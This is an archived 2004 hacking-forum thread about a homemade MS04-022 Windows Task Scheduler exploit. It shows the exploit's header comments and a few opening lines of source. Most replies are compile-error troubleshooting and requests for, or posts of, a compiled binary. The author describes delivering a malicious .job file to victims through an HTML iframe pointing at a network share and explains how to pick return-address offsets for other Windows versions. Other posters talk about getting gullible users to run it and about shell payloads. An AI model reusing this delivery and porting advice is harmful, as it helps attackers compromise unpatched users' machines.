/***********************************************************************\ * MS04-022 Task Scheduler Exploit * * by ScriptGod * * * * tested against: * * - Windows XP GER SP0 * * - Windows XP GER SP1 * * - Windows 2000 GER SP4 * * * * The first instruction that can be controled * * can only be a few bytes long so I used a short jump * * to the second jump (the "real) jump whichs jumps then to the payload. * * * * * The bad characters which are avoided through the XOR encoder are * * only GUESSED. Probably these are not all or some of them are wrong. * * But I haven't had any problem with this set of characters. * * * * This Exploits is written for the Explorer.exe. It should work with * * other applications but not tested - probably you have to change the * * return address for other applications. * * * * The advisor listed Windows 2000 also. But my Windows 2000 doesn't * * seems to be vulnerable. Maybe other applications or Windows 2000 with * * installed Internet Explorer 6. * \***********************************************************************/ #include <stdio.h> #include <stdlib.h> #include <string.h>
int main( int argc, char **argv ) { int nTargetID; int nPayloadID; char *pszJobFile; unsigned int nWinExecSize; unsigned char *pWinExec; unsigned short nPort; unsigned long nIP; bool bCreated;
i can´t compile it got many errors... i would test this exploit but so i can´t
ScriptGod
Jul 26 2004, 06:07 PM
QUOTE (Nostremato @ Jul 26 2004, 06:05 PM)
i can´t compile it got many errors... i would test this exploit but so i can´t
can you post this errors?
Nostremato
Jul 26 2004, 06:08 PM
QUOTE
explorer.c:162: error: syntax error before "CreateJobFile" explorer.c: In function `CreateJobFile': explorer.c:174: error: `false' undeclared (first use in this function) explorer.c:174: error: (Each undeclared identifier is reported only once explorer.c:174: error: for each function it appears in.) explorer.c:226: error: `true' undeclared (first use in this function) explorer.c: At top level: explorer.c:229: error: syntax error before "CreateJobFilePayload" explorer.c: In function `CreateJobFilePayload': explorer.c:231: error: `bool' undeclared (first use in this function) explorer.c:231: error: syntax error before "bFoundXOR" explorer.c:241: error: `false' undeclared (first use in this function) explorer.c:253: error: `bFoundXOR' undeclared (first use in this function) explorer.c:256: error: `for' loop initial declaration used outside C99 mode explorer.c:276: error: `true' undeclared (first use in this function) explorer.c: In function `main': explorer.c:353: error: `bool' undeclared (first use in this function) explorer.c:353: error: syntax error before "bCreated" explorer.c:385: error: `bCreated' undeclared (first use in this function) explorer.c:385: error: `false' undeclared (first use in this function) explorer.c:449:2: warning: no newline at end of file
ScriptGod
Jul 26 2004, 06:15 PM
QUOTE (Nostremato @ Jul 26 2004, 06:08 PM)
QUOTE
explorer.c:162: error: syntax error before "CreateJobFile" explorer.c: In function `CreateJobFile': explorer.c:174: error: `false' undeclared (first use in this function) explorer.c:174: error: (Each undeclared identifier is reported only once explorer.c:174: error: for each function it appears in.) explorer.c:226: error: `true' undeclared (first use in this function) explorer.c: At top level: explorer.c:229: error: syntax error before "CreateJobFilePayload" explorer.c: In function `CreateJobFilePayload': explorer.c:231: error: `bool' undeclared (first use in this function) explorer.c:231: error: syntax error before "bFoundXOR" explorer.c:241: error: `false' undeclared (first use in this function) explorer.c:253: error: `bFoundXOR' undeclared (first use in this function) explorer.c:256: error: `for' loop initial declaration used outside C99 mode explorer.c:276: error: `true' undeclared (first use in this function) explorer.c: In function `main': explorer.c:353: error: `bool' undeclared (first use in this function) explorer.c:353: error: syntax error before "bCreated" explorer.c:385: error: `bCreated' undeclared (first use in this function) explorer.c:385: error: `false' undeclared (first use in this function) explorer.c:449:2: warning: no newline at end of file
name the file .cpp
bool is a C++ data type, but no C date type
Nostremato
Jul 26 2004, 06:19 PM
I tried it with .cpp but got still errors
CODE
explorer.cpp: In function `int main(int, char**)': explorer.cpp:414: error: `htons' undeclared (first use this function) explorer.cpp:414: error: (Each undeclared identifier is reported only once for each function it appears in.) explorer.cpp:427: error: `inet_addr' undeclared (first use this function) explorer.cpp:449:2: warning: no newline at end of file
ScriptGod
Jul 26 2004, 06:25 PM
QUOTE (Nostremato @ Jul 26 2004, 06:19 PM)
I tried it with .cpp but got still errors
CODE
explorer.cpp: In function `int main(int, char**)': explorer.cpp:414: error: `htons' undeclared (first use this function) explorer.cpp:414: error: (Each undeclared identifier is reported only once for each function it appears in.) explorer.cpp:427: error: `inet_addr' undeclared (first use this function) explorer.cpp:449:2: warning: no newline at end of file
hmm, then change the lines
CODE
#ifdef WIN32 #include <winsock.h> #endif
to
CODE
#include <winsock.h>
Nostremato
Jul 26 2004, 06:43 PM
QUOTE
In file included from explorer.cpp:30: /usr/include/w32api/winsock.h:81:2: warning: #warning "fd_set and associated mac ros have been defined in sys/types. This can cause runtime problems with W3 2 sockets"
explorer.cpp: undefined reference to `_htons@4' explorer.cpp: undefined reference to `_inet_addr@4' explorer.cpp: undefined reference to `_htons@4' collect2: ld returned 1 exit status
thx for help scriptgod but i couldn´t compile it anyway... It would be nice if somebody could share it for me
=k3Rn=
Jul 26 2004, 06:54 PM
this new expoit seems to be really intresting, could someone perhaps modify it so that it spawn a shell ?!
this would be a great new attack then - wouldn't it? as far as i know all windows systems are vulnarable and task sceduler is automatically turned on.
Nostremato
Jul 26 2004, 06:57 PM
BindShell & ReverseShell Code are already in the Code... thats why it is the modded version by scriptgod
=k3Rn=
Jul 26 2004, 07:04 PM
hm so does it already works? i haven't compiled it yet ...
Nostremato
Jul 26 2004, 07:08 PM
the sploit seems to be quiet good but i can´t test because i´m to stupid to compile it
ScriptGod
Jul 26 2004, 07:09 PM
QUOTE (Nostremato @ Jul 26 2004, 06:43 PM)
QUOTE
In file included from explorer.cpp:30: /usr/include/w32api/winsock.h:81:2: warning: #warning "fd_set and associated mac ros have been defined in sys/types. This can cause runtime problems with W3 2 sockets"
explorer.cpp: undefined reference to `_htons@4' explorer.cpp: undefined reference to `_inet_addr@4' explorer.cpp: undefined reference to `_htons@4' collect2: ld returned 1 exit status
thx for help scriptgod but i couldn´t compile it anyway... It would be nice if somebody could share it for me
you must link wsock32 or ws2_32... How to do this depends on your compiler... try to add [code] #pragma comment( lib, "wsock32.lib" ) [code] in the code
this exploit its not modded. its completly self written
well, this bug cann't be accessed remotly without user interactivity
Nostremato
Jul 26 2004, 07:12 PM
i´m sorry that i said it´s modded ...
Hellraiseruk
Jul 26 2004, 09:31 PM
maybe someone can compile it and post it? nice code by the way ScriptGod
xlulux
Jul 26 2004, 09:54 PM
i compiled it,but im not gonna upload it. if you have compiled and gotten the syntax right lemme know what the diffrent commands do
=k3Rn=
Jul 27 2004, 02:33 AM
i get the folowing errors when creating exe file:
Linker-Vorgang läuft... 04-022.obj : error LNK2001: Nichtaufgeloestes externes Symbol _inet_addr@4 04-022.obj : error LNK2001: Nichtaufgeloestes externes Symbol _htons@4 Debug/04-022.exe : fatal error LNK1120: 2 unaufgeloeste externe Verweise Fehler beim Ausführen von link.exe.
and could you pls give me a hint how you can use it then - sorry for that lame question, but i don't find it obvious.
nuorder
Jul 27 2004, 02:38 AM
nice work ScriptGod, compiles fine
mortello
Jul 27 2004, 03:03 AM
QUOTE (=k3Rn= @ Jul 27 2004, 02:33 AM)
i get the folowing errors when creating exe file:
Linker-Vorgang läuft... 04-022.obj : error LNK2001: Nichtaufgeloestes externes Symbol _inet_addr@4 04-022.obj : error LNK2001: Nichtaufgeloestes externes Symbol _htons@4 Debug/04-022.exe : fatal error LNK1120: 2 unaufgeloeste externe Verweise Fehler beim Ausführen von link.exe.
and could you pls give me a hint how you can use it then - sorry for that lame question, but i don't find it obvious.
what compiler do you use dude ?
mortello
Jul 27 2004, 03:05 AM
QUOTE (ScriptGod @ Jul 26 2004, 07:09 PM)
QUOTE (Nostremato @ Jul 26 2004, 06:43 PM)
QUOTE
In file included from explorer.cpp:30: /usr/include/w32api/winsock.h:81:2: warning: #warning "fd_set and associated mac ros have been defined in sys/types. This can cause runtime problems with W3 2 sockets"
explorer.cpp: undefined reference to `_htons@4' explorer.cpp: undefined reference to `_inet_addr@4' explorer.cpp: undefined reference to `_htons@4' collect2: ld returned 1 exit status
thx for help scriptgod but i couldn´t compile it anyway... It would be nice if somebody could share it for me
you must link wsock32 or ws2_32... How to do this depends on your compiler... try to add [code] #pragma comment( lib, "wsock32.lib" ) [code] in the code
this exploit its not modded. its completly self written
well, this bug cann't be accessed remotly without user interactivity
But still, there are lots of people really stupid who will run it for you....
that and other similar local exploit....
so it can be really helpful
Krogoth
Jul 27 2004, 07:10 AM
it works fine if you include the statement below, as indicated by ScriptGod. i'm using MS Visual C++.
#pragma comment (lib,"ws2_32")
passi
Jul 27 2004, 09:45 AM
QUOTE (nuorder @ Jul 27 2004, 02:38 AM)
nice work ScriptGod, compiles fine
Oh my god. I can't believe that! This [zensored] can compile it without errors and does not post it here. Very friendly...
ScriptGod: nice work, why can't YOU just upload the compiled version?
i'm sorry but if you cant compile this you must be really STUPID.
oh and passiw im sure you know the policy here about compile requests...
QUOTE: "Oh my god. I can't believe that! This [zensored] can compile it without errors and does not post it here. Very friendly...
ScriptGod: nice work, why can't YOU just upload the compiled version? "
Well, it took me about 2 minutes to set up a project in vc6, paste the code in and compile it.
Here's the executable.
globey
Jul 28 2004, 08:47 AM
tnx for this code i try it out
nuorder
Jul 28 2004, 09:31 AM
QUOTE (passiw @ Jul 27 2004, 07:45 PM)
QUOTE (nuorder @ Jul 27 2004, 02:38 AM)
nice work ScriptGod, compiles fine
Oh my god. I can't believe that! This [zensored] can compile it without errors and does not post it here. Very friendly...
ScriptGod: nice work, why can't YOU just upload the compiled version?
i followed all the steps posted here, if you can read and learn you will be able to compile this with no problems at all in less than a minute
if you do encounter errors while compiling im sure members would be happy to help you out, just post the error
realmasterX
Jul 29 2004, 01:20 PM
QUOTE (Hellraiseruk @ Jul 26 2004, 09:31 PM)
maybe someone can compile it and post it? nice code by the way ScriptGod
would be nice,.. im not able to compile it,...
brainbuster
Jul 29 2004, 02:26 PM
worked nice 4 me after i added #pragma comment( lib, "wsock32.lib" )
thx 4 sharin
ScriptGod
Jul 31 2004, 03:30 PM
update
CODE
/***********************************************************************\ * MS04-022 Task Scheduler Exploit * * by ScriptGod * * * * tested against: * * - Windows XP GER SP0 * * - Windows XP GER SP1 * * - Windows 2000 GER SP4 * * * * tested with: * * - Explorer.exe * * - IExplorer.exe * * * * The first instruction that can be controled can only be a few bytes * * long so I used a short jump to the second jump (the "real) jump * * whichs jumps then to the payload. * * * * The bad characters which are avoided through the XOR encoder are * * only GUESSED. Probably these are not all or some of them are wrong. * * But I haven't had any problem with this set of characters. * * * * The advisor listed Windows 2000 also. But my Windows 2000 doesn't * * seems to be vulnerable. Maybe other applications or Windows 2000 with * * installed Internet Explorer 6. * * * * To use this in a webpage you must create a html file with a iframe to * * a share which contains the .job file. * * example: * * * * <html> * * <body> * * <iframe src="\\192.168.0.1\Job"> * * </body> * * </html> * * * * THX to www.metasploit.com for their payloads * \***********************************************************************/ #include <stdio.h> #include <stdlib.h> #include <string.h>
#ifdef WIN32 #include <winsock.h>
// for Microsoft Visual C++ #ifdef _MSC_VER #pragma comment(lib,"ws2_32") #endif #endif
int main( int argc, char **argv ) { int nTargetID; int nPayloadID; char *pszJobFile; unsigned int nWinExecSize; unsigned char *pWinExec; unsigned short nPort; unsigned long nIP; bool bCreated;
hm i tried to change the code for a usage with mozilla so that it'll be a self executable cause mozilla / ie connect silent to the internet
sry for my weak english ...
gr€€tz fL4Shb4Ck
what
Aug 4 2004, 03:45 PM
Okay, hopefully this won't be a dumb question, but I'm going to ask it anyways.
I was looking through your code, and I noticed that it only exploited Windows XP SP0+1 GER and no others, but you could DoS them all. So I was wondering, to change the "jmp esp" to another windows version, would you use kernel32.dll or the ACTIVEDS.dll found in the code. I'll try both, but I was just wondering.
didn't I write this to you already ? and isn't it earlier in this thread also ?
anyway, its a LOCAL vulnerability, this cannot be scanned for !
However, if you manage to send it to someone and that he executes the .job file (I guess he only needs to go to that directory where it is from what I understand)...
mortello
Aug 4 2004, 03:49 PM
QUOTE (what @ Aug 4 2004, 03:45 PM)
Okay, hopefully this won't be a dumb question, but I'm going to ask it anyways.
I was looking through your code, and I noticed that it only exploited Windows XP SP0+1 GER and no others, but you could DoS them all. So I was wondering, to change the "jmp esp" to another windows version, would you use kernel32.dll or the ACTIVEDS.dll found in the code. I'll try both, but I was just wondering.
and in kernel32.dll, we have nothing, and in ntdll.dll we have
0x77fb4dcc
Sorry about the question again, this year I'm taking AP computer science, which should clear everything up.
Not so stupid in fact....
I believe its the ACTIVEDS.dll and not the kernel32.dll one that you need to use since the kernel32.dll one is needed to run the code, and that's about it (for this vulnerability at least)
So you should have more luck using the values you found if you can make them correspond to another Win version
what
Aug 4 2004, 04:38 PM
Ok, I've been reading up a little on buffer/stack overflows, and I have another question.
So, we find an overflow in a program, and overflow it with x's. This causes a segmentation fault by overflowing the return address with x's and making it point to 0x787878 to execute code, which is hex for x. Since 0x787878 does not have any instructions, it causes the segmentation fault. Say our return address is 0x80484d0, and our code that we want to execute is at 0x80484cb. This is the part where I start to get lost.
I got all of this information from http://www.securiteam.com/securityreviews/5OP0B006UQ.html if you want to help me out. They use a program to try to explain it, but to tell you the truth I'm not quite sure what the program is doing. Any help would be great.
ScriptGod
Aug 4 2004, 09:22 PM
QUOTE (what @ Aug 4 2004, 03:45 PM)
Okay, hopefully this won't be a dumb question, but I'm going to ask it anyways.
I was looking through your code, and I noticed that it only exploited Windows XP SP0+1 GER and no others, but you could DoS them all. So I was wondering, to change the "jmp esp" to another windows version, would you use kernel32.dll or the ACTIVEDS.dll found in the code. I'll try both, but I was just wondering.
and in kernel32.dll, we have nothing, and in ntdll.dll we have
0x77fb4dcc
Sorry about the question again, this year I'm taking AP computer science, which should clear everything up.
- kernel32.dll changes through the service packs, so offsets are not universal... - ACTIVEDS.dll, is not loaded in IExplorer.exe - mstask.dll is loaded by both, and in this the bug is located so there is no much version confilics in the offset...
however I realized when writting some other exploits, that the offsets for EU version are allmost the same, except the English versions. Because there the most dlls are loaded at a different base.
ScriptGod
Aug 4 2004, 09:27 PM
QUOTE (what @ Aug 4 2004, 04:38 PM)
Ok, I've been reading up a little on buffer/stack overflows, and I have another question.
So, we find an overflow in a program, and overflow it with x's. This causes a segmentation fault by overflowing the return address with x's and making it point to 0x787878 to execute code, which is hex for x. Since 0x787878 does not have any instructions, it causes the segmentation fault. Say our return address is 0x80484d0, and our code that we want to execute is at 0x80484cb. This is the part where I start to get lost.
I got all of this information from http://www.securiteam.com/securityreviews/5OP0B006UQ.html if you want to help me out. They use a program to try to explain it, but to tell you the truth I'm not quite sure what the program is doing. Any help would be great.
Yes this is correct. { "DoS Windows XP ALL", 0xffffffff }, This will set the return address to 0xffffffff. This is never valid, so this will crash the applictation. However under windows this will cause no segmentation fault - it will cause a access fault, because this address is reservecd for the kernel and can't be accessed in user mode.
This is a "lo-fi" version of our main content. To view the full version with more information, formatting and images, please click here.